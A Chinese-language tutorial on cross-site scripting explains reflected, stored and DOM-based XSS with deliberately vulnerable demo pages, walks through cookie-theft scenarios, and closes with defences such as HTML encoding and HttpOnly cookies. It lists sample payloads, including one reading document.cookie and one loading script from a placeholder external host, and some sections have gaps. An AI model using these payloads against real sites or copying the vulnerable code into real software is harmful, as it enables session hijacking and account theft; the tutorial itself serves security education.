文章目录
- 一、XSS 攻击概述
- 二、XSS 攻击原理
- 1. XSS的攻击载荷
- (1) script 标签
- (2) svg 标签
- (3) img 标签
- (4)body 标签
- (5) video 标签
- (6) style 标签
- 2. XSS可以插在哪里?
- 三、XSS 攻击的分类
- 1. 反射型
- 2. 存储型
- 3. DOM型
- 四、对 XSS 漏洞的简单攻击
- 1. 反射型XSS
- 2. 存储型XSS
- 3. DOM型XSS
- 五、XSS 攻击过程
- 1. 反射型 XSS 漏洞
- 2. 存储型XSS漏洞
- 六、XSS漏洞的危害
- 七、XSS 的防御
- 参考链接
一、XSS 攻击概述
跨站脚本攻击XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。
恶意攻击者往 Web 页面里插入恶意 Script 代码(我说:插入的过程类似于注入),当用户浏览该页面时,嵌入 Web 里面的 Script 代码会被执行,从而达到恶意攻击用户的目的。
XSS 攻击针对的是用户层面的攻击!
二、XSS 攻击原理
HTML 是一种超文本标记语言,通过将一些字符特殊地对待来区别文本和标记,例如,小于符号(<)被看作是 HTML 标签的开始,
1. XSS的攻击载荷
以下所有标签的 > 都可以用 // 代替, 例如 alert(1)</script//
(1) script 标签
标签是最直接的 XSS 有效载荷,脚本标记可以引用外部的 JavaScript 代码,也可以将代码插入脚本标记中:
(关于 web 基础, 的介绍可以参见我的另一篇文章:【Web】JavaScript 简介)
<script>alert("hack")</script> #弹出hack<script>alert(/hack/)</script> #弹出hack<script>alert(1)</script>#弹出1,对于数字可以不用引号<script>alert(document.cookie)</script>#弹出cookie<script src=http://xxx.com/xss.js></script>#引用外部的xss
(2) svg 标签
<svg onload="alert(1)"><svg οnlοad="alert(1)"//
(3) img 标签
2. 存储型
3. DOM型
如下图,我们在 URL 中传入参数的值,然后客户端页面通过 js 脚本利用 DOM 的方法获得 URL 中参数的值,再通过 DOM 方法赋值给选择列表,该过程没有经过后端,完全是在前端完成的。
所以,我们就可以在我们输入的参数上做手脚了。
四、对 XSS 漏洞的简单攻击
1. 反射型XSS
先放出源代码
//前端 1.html:<html><head lang="en"><meta charset="UTF-8"><title>反射型XSS</title></head><body><form action="action.php" method="post"><!-- 表示文档的服务器区域,此区域中包含一个Web站点的信息控件,用于向Web服务器区域提交 --><input type="text" name="name" /><input type="submit" value="提交"></form></body></html>//后端 action.php:
这里有一个用户提交的页面,用户可以在此提交数据,数据提交之后给后台处理:
所以,我们可以在输入框中提交数据: alert('hack')
,看看会有什么反应:
页面直接弹出了 hack 的页面,可以看到,我们插入的语句已经被页面给执行了。
这就是最基本的 反射型的 XSS 漏洞 ,这种漏洞数据流向是: 前端–>后端–>前端
2. 存储型XSS
先给出源代码
//前端:2.html<html><head lang="en"><meta charset="UTF-8"><title>存储型XSS</title></head><body><form action="action2.php" method="post">输入你的ID:<input type="text" name="id" /> <br/>输入你的Name:<input type="text" name="name" /> <br/><input type="submit" value="提交"></form></body></html>//后端:action2.php//供其他用户访问页面:show2.php
这里有一个用户提交的页面,数据提交给后端之后,后端存储在数据库中 (比反射型多了一个存储进数据库的过程,所以会存在存储型 XSS 漏洞)。然后当其他用户访问另一个页面的时候,后端调出该数据,显示给另一个用户,XSS 代码就被执行了。
我们输入 1 和 alert(\'hack\')
,注意,这里的 hack 的单引号要进行转义,因为 sql 语句中的 $name 是单引号的,所以这里不转义的话就会闭合 sql 语句中的单引号。不然注入不进去。提交了之后,我们看看数据库:
可以看到,我们的 XSS 语句已经插入到数据库中了
然后当其他用户访问 show2.php 页面时,我们插入的 XSS 代码就执行了。
存储型 XSS 的数据流向是:前端–>后端–>数据库–>后端–>前端
3. DOM型XSS
先放上源代码
// 前端3.html<html><head lang="en"><meta charset="UTF-8"><title>DOM型XSS</title></head><body><form action="action3.php" method="post"><input type="text" name="name" /><input type="submit" value="提交"></form></body></html>// 后端action3.php<input id="text" type="text" value=""/><div id="print"></div><script type="text/javascript">var text=document.getElementById("text");var print=document.getElementById("print");print.innerHTML=text.value;// 获取 text的值,并且输出在print内。这里是导致 xss 的主要原因。</script>
这里有一个用户提交的页面,用户可以在此提交数据,数据提交之后给后台处理:
我们可以输入
页面直接弹出了 hack 的页面,可以看到,我们插入的语句已经被页面给执行了。
这就是 DOM型XSS 漏洞,这种漏洞数据流向是: 前端–>浏览器
五、XSS 攻击过程
1. 反射型 XSS 漏洞
- Alice 经常浏览某个网站,此网站为 Bob 所拥有。Bob 的站点需要 Alice 使用用户名/密码进行登录,并存储了 Alice 敏感信息(比如银行帐户信息)。
- Tom 发现 Bob 的站点存在反射性的 XSS 漏洞。
- Tom 利用 Bob 网站的反射型 XSS 漏洞编写了一个exp,做成链接的形式,并利用各种手段诱使 Alice 点击。
- Alice 在登录到 Bob 的站点后,浏览了 Tom 提供的恶意链接。
- 嵌入到恶意链接中的恶意脚本在 Alice 的浏览器中执行。此脚本 盗窃敏感信息 (cookie、帐号信息等信息)。然后在 Alice 完全不知情的情况下将这些信息发送给 Tom。
- Tom 利用获取到的 cookie 就可以以 Alice 的身份登录 Bob 的站点,如果脚本的功更强大的话,Tom 还可以对 Alice 的浏览器做控制并进一步利用漏洞控制。
2. 存储型XSS漏洞
- Bob 拥有一个 Web 站点,该站点允许用户发布信息/浏览已发布的信息。
- Tom 检测到 Bob 的站点存在存储型的 XSS 漏洞。
- Tom 在 Bob 的网站上发布一个带有恶意脚本的热点信息,该热点信息存储在了 Bob 的服务器的数据库中,然后吸引其它用户来阅读该热点信息。
- Bob 或者是任何的其他人如 Alice 浏览该信息之后,Tom 的恶意脚本就会执行。
- Tom的恶意脚本执行后,Tom就可以对浏览器该页面的用户发动一起 XSS 攻击。
六、XSS漏洞的危害
从以上我们可以知道,存储型的XSS危害最大。因为他存储在服务器端,所以不需要我们和被攻击者有任何接触,只要被攻击者访问了该页面就会遭受攻击。而反射型和DOM型的XSS则需要我们去诱使用户点击我们构造的恶意的URL,需要我们和用户有直接或者间接的接触,比如利用社会工程学或者利用在其他网页挂马的方式。
那么,利用XSS漏洞可以干什么呢?
如果JS水平一般的话,还可以利用网上免费的 XSS 平台来构造代码实施攻击。
七、XSS 的防御
XSS防御的总体思路是:对 用户的输入(和URL参数) 进行 过滤 ,对 输出 进行 html编码。也就是对用户提交的所有内容进行过滤,对url中的参数进行过滤;然后对动态输出到页面的内容进行 html 编码,转换为 html 实体,使脚本无法在浏览器中执行。
对输入的内容进行过滤,可以分为黑名单过滤和白名单过滤。黑名单过滤虽然可以拦截大部分的 XSS 攻击,但是还是存在被绕过的风险。白名单过滤虽然可以基本杜绝 XSS 攻击,但是真实环境中一般是不能进行如此严格的白名单过滤的。
对输出进行 html 编码,就是通过函数,将用户的输入的数据进行 html 编码,使其不能作为脚本运行。
如下,是使用 php 中的 htmlspecialchars 函数对用户输入的 name 参数进行 html 编码,将其转换为 html 实体:
#使用htmlspecialchars函数对用户输入的name参数进行html编码,将其转换为html实体$name = htmlspecialchars( $_GET[ 'name' ] );
如下,图一是没有进行 html 编码的,图2是进行了 html 编码的。经过 html 编码后 script 标签被当成了 html 实体。
我们还可以服务端设置会话 Cookie 的 HTTP Only 属性,这样,客户端的 JS 脚本就不能获取Cookie 信息了。
参考链接
- XSS(跨站脚本攻击)详解